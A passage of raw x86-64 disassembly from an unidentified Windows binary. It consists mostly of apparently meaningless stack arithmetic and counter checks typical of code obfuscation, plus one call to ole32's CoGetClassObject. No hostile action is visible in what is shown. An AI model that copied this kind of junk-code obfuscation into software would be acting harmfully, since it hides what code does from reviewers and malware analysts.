mov rax, qword [rsp + 0x4108]
mov rax, qword [rax]
sar rax, cl
mov rcx, qword [rsp + 0x3fd8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x3fa8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x4078]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0x4010], rax
mov eax, dword [rsp + 0x2150]
shl eax, 0x19
mov dword [rsp + 0x2128], eax
mov rax, qword [rsp + 0x4058]
mov rcx, qword [rsp + 0x4090]
mov rax, qword [rax]
xor rax, rcx
mov rcx, qword [rsp + 0x4058]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4070]
mov rcx, qword [rsp + 0x4048]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [0x1401a0008], rax
mov rax, qword [rsp + 0x3f38]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x20a0]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x3fe0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x3f38]
mov rcx, qword [rsp + 0x3fe0]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x3f38]
mov dword [rcx], eax
movsx eax, byte [rsp + 0xfb]
movsx ecx, byte [rsp + 0xfd]
sub eax, ecx
mov byte [rsp + 0x7c], al
mov rax, qword [rsp + 0x4058]
mov rcx, qword [rsp + 0x3fd8]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x3a78], rax
mov rax, qword [rsp + 0x3f98]
mov rcx, qword [rsp + 0x4010]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x4078], rax
mov eax, dword [rsp + 0x2144]
add eax, 0x89
mov dword [rsp + 0x2144], eax
mov eax, dword [rsp + 0x2128]
add eax, 0x1b15995d
mov dword [rsp + 0x2150], eax
mov rax, qword [rsp + 0x3fe0]
mov ecx, dword [rsp + 0x20a0]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x3fe0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4040]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x4080]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x40d0]
mov byte [rcx], al
mov rax, qword [rsp + 0x4070]
mov rcx, qword [rsp + 0x3fa8]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [0x1401a0008], rax
movsx eax, byte [rsp + 0xfd]
movsx ecx, byte [rsp + 0x7c]
sub eax, ecx
mov rcx, qword [rsp + 0x4008]
mov byte [rcx], al
mov rax, qword [rsp + 0x3f90]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x4018]
mov qword [rsp + 0x4110], rcx
movzx ecx, al
mov rax, qword [rsp + 0x4110]
mov rax, qword [rax]
sar rax, cl
mov rcx, qword [rsp + 0x3fd8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x3fd8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x4090]
or rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x3f90]
mov qword [rcx], rax
mov eax, dword [rsp + 0x2150]
shl eax, 6
mov dword [rsp + 0x2128], eax
mov rax, qword [rsp + 0x4078]
mov rcx, qword [rsp + 0x3f98]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0x4010], rax
mov eax, dword [rsp + 0x20a0]
mov ecx, dword [rsp + 0x209c]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x212c], eax
mov rax, qword [rsp + 0x4018]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x3a78]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x40b8]
mov qword [rcx], rax
movzx eax, word [rsp + 0x8ec]
sub eax, 0x47d
mov word [rsp + 0x8ec], ax
movsx eax, byte [rsp + 0xfb]
movsx ecx, byte [rsp + 0x7c]
and eax, ecx
mov rcx, qword [rsp + 0x4008]
mov byte [rcx], al
mov rax, qword [rsp + 0x40d0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x4080]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0xfc], al
movzx eax, byte [rsp + 0xfc]
mov rcx, qword [rsp + 0x4040]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0xfa], al
mov rax, qword [rsp + 0x40b8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x3a78]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4018]
mov qword [rcx], rax
mov rax, qword [rsp + 0x3fd8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x4090]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x3a78], rax
mov rax, qword [rsp + 0x3fa8]
mov rcx, qword [rsp + 0x4010]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x3f98], rax
mov eax, dword [rsp + 0x217c]
mov rcx, qword [rsp + 0x3f38]
mov qword [rsp + 0x4118], rcx
movzx ecx, al
mov rax, qword [rsp + 0x4118]
mov eax, dword [rax]
shr eax, cl
mov rcx, qword [rsp + 0x3f38]
mov dword [rcx], eax
mov rax, qword [rsp + 0x3fe0]
mov ecx, dword [rsp + 0x209c]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0x4050]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4090]
mov rcx, qword [rsp + 0x4018]
mov qword [rsp + 0x4120], rcx
movzx ecx, al
mov rax, qword [rsp + 0x4120]
mov rax, qword [rax]
shl rax, cl
mov rcx, qword [rsp + 0x4058]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4008]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xfd]
xor eax, ecx
mov rcx, qword [rsp + 0x4008]
mov byte [rcx], al
mov rax, qword [rsp + 0x40d0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xf9]
and eax, ecx
mov rcx, qword [rsp + 0x4080]
mov byte [rcx], al
mov rax, qword [rsp + 0x4050]
mov rcx, qword [rsp + 0x3fe0]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x4050]
mov dword [rcx], eax
movzx eax, word [rsp + 0x8ec]
add eax, 0x110
mov word [rsp + 0x8ec], ax
cmp dword [rsp + 0x2144], 0x80ca
jne 0x14005ab38
mov rax, qword [rsp + 0x3f38]
mov rcx, qword [rsp + 0x4050]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x2084], eax
mov rax, qword [rsp + 0x3fa8]
mov rcx, qword [0x1401a0008]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x4048]
mov qword [rcx], rax
mov rax, qword [rsp + 0x40b8]
mov rcx, qword [rsp + 0x3a78]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x4058]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4070]
mov rcx, qword [0x1401a0008]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x4048]
mov qword [rcx], rax
mov eax, dword [rsp + 0x2150]
add eax, 0x57a90d0f
mov dword [rsp + 0x2128], eax
mov rax, qword [rsp + 0x4048]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x3f98]
sub rcx, rax
mov rax, rcx
mov qword [0x1401a0008], rax
movsx eax, byte [rsp + 0xfb]
movsx ecx, byte [rsp + 0xfd]
sub eax, ecx
mov byte [rsp + 0x7c], al
mov eax, dword [rsp + 0x2084]
movzx ecx, al
mov eax, dword [rsp + 0x20a0]
shr eax, cl
mov dword [rsp + 0x209c], eax
movzx eax, word [rsp + 0x8ec]
shl eax, 7
mov word [rsp + 0x8ec], ax
mov rax, qword [rsp + 0x3fe0]
mov rcx, qword [rsp + 0x4050]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x2084], eax
mov eax, dword [rsp + 0x209c]
mov ecx, dword [rsp + 0x2084]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x3fe0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4058]
mov rcx, qword [rsp + 0x4090]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x4018]
mov qword [rcx], rax
mov eax, dword [rsp + 0x20c4]
sub eax, 0x59
mov dword [rsp + 0x20c4], eax
mov rax, qword [rsp + 0x4070]
mov rcx, qword [rsp + 0x4078]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x4010], rax
movsx eax, byte [rsp + 0x7c]
movsx ecx, byte [rsp + 0xfd]
sub eax, ecx
mov byte [rsp + 0xfb], al
mov rax, qword [rsp + 0x4008]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xfd]
sub eax, ecx
mov rcx, qword [rsp + 0x4008]
mov byte [rcx], al
mov eax, dword [rsp + 0x2128]
add eax, 0x7407ea6c
mov dword [rsp + 0x2150], eax
mov rax, qword [rsp + 0x4008]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xfd]
add eax, ecx
mov byte [rsp + 0xfb], al
mov rax, qword [rsp + 0x4040]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xf9]
and eax, ecx
mov byte [rsp + 0xfe], al
mov rax, qword [rsp + 0x3fd8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x4090]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x3a78], rax
mov rax, qword [rsp + 0x4050]
mov ecx, dword [rsp + 0x209c]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x4050]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4070]
mov rcx, qword [rsp + 0x4078]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x4070]
mov qword [rcx], rax
mov eax, dword [rsp + 0x212c]
mov ecx, dword [rsp + 0x20a0]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x3fe0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4080]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xfa]
shl eax, cl
mov rcx, qword [rsp + 0x4040]
mov byte [rcx], al
mov rax, qword [rsp + 0x4070]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x4010]
shr rax, cl
mov qword [0x1401a0008], rax
mov rax, qword [rsp + 0x4008]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xfd]
xor eax, ecx
mov byte [rsp + 0x7c], al
movsx eax, byte [rsp + 0xfd]
movsx ecx, byte [rsp + 0xfb]
and eax, ecx
mov rcx, qword [rsp + 0x4008]
mov byte [rcx], al
mov rax, qword [rsp + 0x4018]
mov rcx, qword [rsp + 0x3f90]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x3fd8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4048]
mov rcx, qword [rsp + 0x3fa8]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x4048]
mov qword [rcx], rax
mov eax, dword [rsp + 0x2084]
mov ecx, dword [rsp + 0x209c]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x3fe0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x3fd8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x3a78]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x4090], rax
mov rax, qword [rsp + 0x4078]
mov rcx, qword [rsp + 0x4010]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x3f98], rax
mov rax, qword [rsp + 0x4040]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xfa]
add eax, ecx
mov byte [rsp + 0xf9], al
mov rax, qword [rsp + 0x4008]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xfd]
and eax, ecx
mov rcx, qword [rsp + 0x4008]
mov byte [rcx], al
mov rax, qword [rsp + 0x4040]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x4080]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x40d0]
mov byte [rcx], al
movzx eax, word [rsp + 0x8ec]
shl eax, 4
mov word [rsp + 0x8ec], ax
mov rax, qword [rsp + 0x4080]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x4040]
movzx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0xfa], al
mov rax, qword [rsp + 0x4048]
mov rcx, qword [rsp + 0x3fa8]
mov rcx, qword [rcx]
mov rax, qword [rax]
xor rax, rcx
mov rcx, qword [rsp + 0x4070]
mov qword [rcx], rax
mov eax, dword [rsp + 0x209c]
movzx ecx, al
mov eax, dword [rsp + 0x20e8]
shr eax, cl
mov dword [rsp + 0x217c], eax
mov rax, qword [rsp + 0x3fd8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x3a78]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x4090], rax
mov rax, qword [rsp + 0x4090]
mov rcx, qword [rsp + 0x3a78]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x3f90]
mov qword [rcx], rax
movzx eax, word [rsp + 0x8ec]
add eax, 0x419
mov word [rsp + 0x8ec], ax
movsx eax, byte [rsp + 0x7c]
movsx ecx, byte [rsp + 0xfd]
add eax, ecx
mov rcx, qword [rsp + 0x4008]
mov byte [rcx], al
mov rax, qword [rsp + 0x4070]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x4010]
add rcx, rax
mov rax, rcx
mov qword [0x1401a0008], rax
movzx eax, word [rsp + 0x8ec]
sub eax, 0x49d
mov word [rsp + 0x8ec], ax
mov rax, qword [rsp + 0x4008]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xfb]
sub eax, ecx
mov rcx, qword [rsp + 0x4008]
mov byte [rcx], al
mov rax, qword [rsp + 0x3fe0]
mov ecx, dword [rsp + 0x212c]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x3f38]
mov dword [rcx], eax
mov rax, qword [rsp + 0x3f90]
mov rcx, qword [rsp + 0x3a78]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x40b8]
mov qword [rcx], rax
mov eax, dword [rsp + 0x20a0]
mov ecx, dword [rsp + 0x217c]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x212c], eax
mov rax, qword [rsp + 0x4010]
mov rcx, qword [rsp + 0x4048]
mov qword [rsp + 0x4128], rcx
movzx ecx, al
mov rax, qword [rsp + 0x4128]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0x4078], rax
mov rax, qword [rsp + 0x4040]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xfc]
xor eax, ecx
mov byte [rsp + 0xfa], al
cmp dword [rsp + 0x20c4], 0x4262
jae 0x14005b0f7
lea rax, [rsp + 0x7c]
mov qword [rsp + 0x4130], rax
mov eax, dword [rsp + 0x2150]
mov dword [0x1401a0f90], eax
movzx eax, byte [rsp + 0xf9]
movzx ecx, byte [rsp + 0xfa]
sar eax, cl
mov rcx, qword [rsp + 0x40d0]
mov byte [rcx], al
movzx eax, word [rsp + 0x8ec]
or eax, 0x362
mov word [rsp + 0x8ec], ax
mov rax, qword [rsp + 0x4080]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x40d0]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x4080]
mov byte [rcx], al
mov rax, qword [rsp + 0x4070]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x3f98]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4048]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4078]
mov rcx, qword [rsp + 0x4010]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4070]
mov qword [rcx], rax
mov eax, dword [rsp + 0x212c]
mov ecx, dword [rsp + 0x20a0]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x3fe0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4058]
mov rcx, qword [rsp + 0x4090]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x40b8]
mov qword [rcx], rax
movsx eax, byte [rsp + 0xfd]
movsx ecx, byte [rsp + 0xfb]
sub eax, ecx
mov rcx, qword [rsp + 0x4008]
mov byte [rcx], al
mov eax, dword [rsp + 0x2150]
mov ecx, dword [rsp + 0x2128]
add ecx, eax
mov eax, ecx
mov dword [0x1401a0f90], eax
mov eax, dword [rsp + 0x2190]
add eax, 0xf0
mov dword [rsp + 0x2190], eax
movzx eax, word [rsp + 0x8ec]
add eax, 0xcc0
mov word [rsp + 0x8ec], ax
mov rax, qword [rsp + 0x4040]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xf9]
add eax, ecx
mov rcx, qword [rsp + 0x40d0]
mov byte [rcx], al
mov rax, qword [rsp + 0x4080]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x4040]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0xfe], al
cmp dword [rsp + 0x2190], 0x15211
jne 0x14005b6e6
movzx eax, word [rsp + 0x8ec]
mov word [rsp + 0x8f0], ax
cmp dword [rsp + 0x20f0], 0xdb28
jae 0x14005bad2
mov eax, dword [rsp + 0x209c]
mov ecx, dword [rsp + 0x20a0]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x20e8], eax
mov rax, qword [rsp + 0x4048]
mov rcx, qword [rsp + 0x3f98]
mov rax, qword [rax]
or rax, rcx
mov rcx, qword [rsp + 0x3fa8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x40b8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x4090]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0x3a78], rax
movsx eax, byte [rsp + 0xfd]
movsx ecx, byte [rsp + 0xfb]
shl eax, cl
mov rcx, qword [rsp + 0x4130]
mov byte [rcx], al
movzx eax, byte [rsp + 0xfe]
mov rcx, qword [rsp + 0x4040]
movzx ecx, byte [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x40d0]
mov byte [rcx], al
movzx eax, word [rsp + 0x8f0]
and eax, 0x242
mov word [rsp + 0x8ec], ax
mov rax, qword [rsp + 0x4008]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xfd]
sub eax, ecx
mov rcx, qword [rsp + 0x4008]
mov byte [rcx], al
mov rax, qword [rsp + 0x40d0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x4080]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0xfa], al
movsx eax, byte [rsp + 0x7c]
mov rcx, qword [rsp + 0x4008]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0xfb], al
mov rax, qword [rsp + 0x4048]
mov rcx, qword [rsp + 0x4078]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x3fa8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x3f90]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x3a78]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x40b8]
mov qword [rcx], rax
mov eax, dword [rsp + 0x20a0]
mov ecx, dword [rsp + 0x2084]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x3fe0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x3a78]
mov rcx, qword [rsp + 0x4090]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4018]
mov qword [rcx], rax
mov eax, dword [rsp + 0x209c]
mov ecx, dword [rsp + 0x217c]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x3f38]
mov dword [rcx], eax
mov eax, dword [rsp + 0x20f0]
add eax, 0x43
mov dword [rsp + 0x20f0], eax
mov rax, qword [rsp + 0x4090]
movzx ecx, al
mov rax, qword [rsp + 0x3a78]
shl rax, cl
mov rcx, qword [rsp + 0x4058]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4130]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x7c]
sar eax, cl
mov rcx, qword [rsp + 0x4008]
mov byte [rcx], al
movzx eax, word [rsp + 0x8f0]
xor eax, 0xb6d
mov word [rsp + 0x8ec], ax
movzx eax, byte [rsp + 0xfe]
mov rcx, qword [rsp + 0x40d0]
movzx ecx, byte [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x4080]
mov byte [rcx], al
mov rax, qword [rsp + 0x40b8]
mov rcx, qword [rsp + 0x4018]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x3f90]
mov qword [rcx], rax
jmp 0x14005b876
mov rax, qword [rsp + 0x4080]
movzx eax, byte [rax]
mov byte [rsp + 0x219c], al
cmp byte [rsp + 0x219c], 0
je 0x14005bbfa
cmp byte [rsp + 0x219c], 4
je 0x14005bb01
jmp 0x14005bc18
mov rax, qword [rsp + 0x40b8]
mov rax, qword [rax]
mov qword [rsp + 0x4138], rax
cmp qword [rsp + 0x4138], 0
je 0x14005bb21
jmp 0x14005bb66
mov rax, qword [rsp + 0x3fe0]
mov eax, dword [rax]
mov dword [rsp + 0x21a0], eax
mov rax, qword [rsp + 0x4070]
mov rcx, qword [rsp + 0x3f98]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x4048]
mov qword [rcx], rax
mov eax, dword [rsp + 0x2150]
mov dword [rsp + 0x21a4], eax
jmp 0x14005bbf8
mov rax, qword [rsp + 0x3fa8]
mov rcx, qword [rsp + 0x4070]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [0x1401a0008], rax
mov rax, qword [rsp + 0x4130]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x7c]
sub eax, ecx
mov rcx, qword [rsp + 0x4008]
mov byte [rcx], al
lea rax, [rsp + 0x17e98]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x17ed8]
lea r8, [rsp + 0x4130]
mov edx, 0x2c
lea rcx, [rsp + 0x17e38]
call qword [sym.imp.ole32.dll_CoGetClassObject]
mov dword [rsp + 0x2198], eax
movzx eax, byte [rsp + 0xfe]
mov rcx, qword [rsp + 0x4040]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x40d0]
mov byte [rcx], al
jmp 0x14005bc18
mov rax, qword [rsp + 0x3f98]
mov rcx, qword [rsp + 0x4078]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x4010], rax
mov rax, qword [rsp + 0x3fa8]
mov rcx, qword [rsp + 0x4048]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x3fa8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x3f98]
mov rcx, qword [0x1401a0008]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4070]
mov qword [rcx], rax
mov eax, dword [rsp + 0x21a4]
mov ecx, dword [rsp + 0x2128]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x2150], eax
mov rax, qword [rsp + 0x4050]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x20a0]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x209c], eax
mov rax, qword [rsp + 0x4090]
movzx ecx, al
mov rax, qword [rsp + 0x3a78]
sar rax, cl
mov rcx, qword [rsp + 0x4018]
mov qword [rcx], rax
mov eax, dword [rsp + 0x2150]
movzx ecx, al
mov eax, dword [rsp + 0x2128]
shl eax, cl
mov dword [0x1401a0f90], eax
movsx eax, byte [rsp + 0xfd]
movsx ecx, byte [rsp + 0x7c]
xor eax, ecx
mov byte [rsp + 0xfb], al
mov rax, qword [rsp + 0x4080]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xfe]
or eax, ecx
mov rcx, qword [rsp + 0x4040]
mov byte [rcx], al
movzx eax, byte [rsp + 0xf9]
movzx ecx, byte [rsp + 0xfc]
and eax, ecx
mov rcx, qword [rsp + 0x4040]
mov byte [rcx], al
movzx eax, word [rsp + 0x8f0]
sub eax, 0x4d2
mov word [rsp + 0x8ec], ax
mov eax, dword [rsp + 0x2084]
mov ecx, dword [rsp + 0x20e8]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x3f38]
mov dword [rcx], eax
mov eax, dword [0x1401a0f90]
mov ecx, dword [rsp + 0x21a4]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x2128], eax
mov rax, qword [rsp + 0x4070]
mov rcx, qword [rsp + 0x3fa8]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x4048]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4018]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x4090]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x3a78], rax
movsx eax, byte [rsp + 0x7c]
mov rcx, qword [rsp + 0x4130]
movsx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x4008]
mov byte [rcx], al
mov rax, qword [rsp + 0x4080]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xfe]
add eax, ecx
mov byte [rsp + 0xfa], al
movzx eax, byte [rsp + 0xfa]
movzx ecx, byte [rsp + 0xf9]
sub eax, ecx
mov rcx, qword [rsp + 0x4080]
mov byte [rcx], al
mov rax, qword [rsp + 0x40d0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x4040]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x4080]
mov byte [rcx], al
movsx eax, byte [rsp + 0xfd]
mov rcx, qword [rsp + 0x4008]
movsx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0xfb], al
mov rax, qword [rsp + 0x3fd8]
mov rcx, qword [rsp + 0x3f90]
mov rcx, qword [rcx]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0x4090], rax
mov eax, dword [rsp + 0x2150]
mov ecx, dword [rsp + 0x21a4]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x2128], eax
mov eax, dword [rsp + 0x20a0]
mov rcx, qword [rsp + 0x3fe0]
mov qword [rsp + 0x4140], rcx
movzx ecx, al
mov rax, qword [rsp + 0x4140]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x217c], eax
mov rax, qword [rsp + 0x3fa8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x3f98]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4070]
mov qword [rcx], rax
mov eax, dword [rsp + 0x21a4]
mov ecx, dword [rsp + 0x2150]
sub ecx, eax
mov eax, ecx
mov dword [0x1401a0f90], eax
mov rax, qword [rsp + 0x4080]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xfc]
sub eax, ecx
mov rcx, qword [rsp + 0x4040]
mov byte [rcx], al
movzx eax, word [rsp + 0x8ec]
add eax, 0xeb0
mov word [rsp + 0x8f0], ax
mov rax, qword [rsp + 0x4070]
mov rcx, qword [rsp + 0x3fa8]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x4048]
mov qword [rcx], rax
mov eax, dword [rsp + 0x20e4]
sub eax, 0xdc
mov dword [rsp + 0x20e4], eax
mov rax, qword [rsp + 0x4018]
mov rcx, qword [rsp + 0x40b8]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x3fd8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4048]
mov rcx, qword [rsp + 0x4070]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x3fa8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4090]
mov rcx, qword [rsp + 0x3a78]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x3fd8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x3fe0]
mov rcx, qword [rsp + 0x3f38]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x20e8], eax
mov eax, dword [rsp + 0x2150]
mov ecx, dword [rsp + 0x21a4]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x2128], eax
mov rax, qword [rsp + 0x4008]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x7c]
or eax, ecx
mov rcx, qword [rsp + 0x4130]
mov byte [rcx], al
mov rax, qword [rsp + 0x4090]
mov rcx, qword [rsp + 0x40b8]
mov qword [rsp + 0x4148], rcx
movzx ecx, al
mov rax, qword [rsp + 0x4148]
mov rax, qword [rax]
shl rax, cl
mov rcx, qword [rsp + 0x40b8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x40d0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xfa]
sar eax, cl
mov byte [rsp + 0xfc], al
mov rax, qword [rsp + 0x4070]
mov rcx, qword [rsp + 0x4010]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x4078], rax
mov rax, qword [rsp + 0x4130]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x4008]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0xfb], al
mov rax, qword [rsp + 0x4010]
mov rcx, qword [rsp + 0x3f98]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4048]
mov qword [rcx], rax
mov eax, dword [rsp + 0x20a0]
mov ecx, dword [rsp + 0x21a0]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4050]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4018]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x3a78]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4058]
mov qword [rcx], rax
mov eax, dword [rsp + 0x209c]
mov ecx, dword [rsp + 0x21a0]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x3fe0]
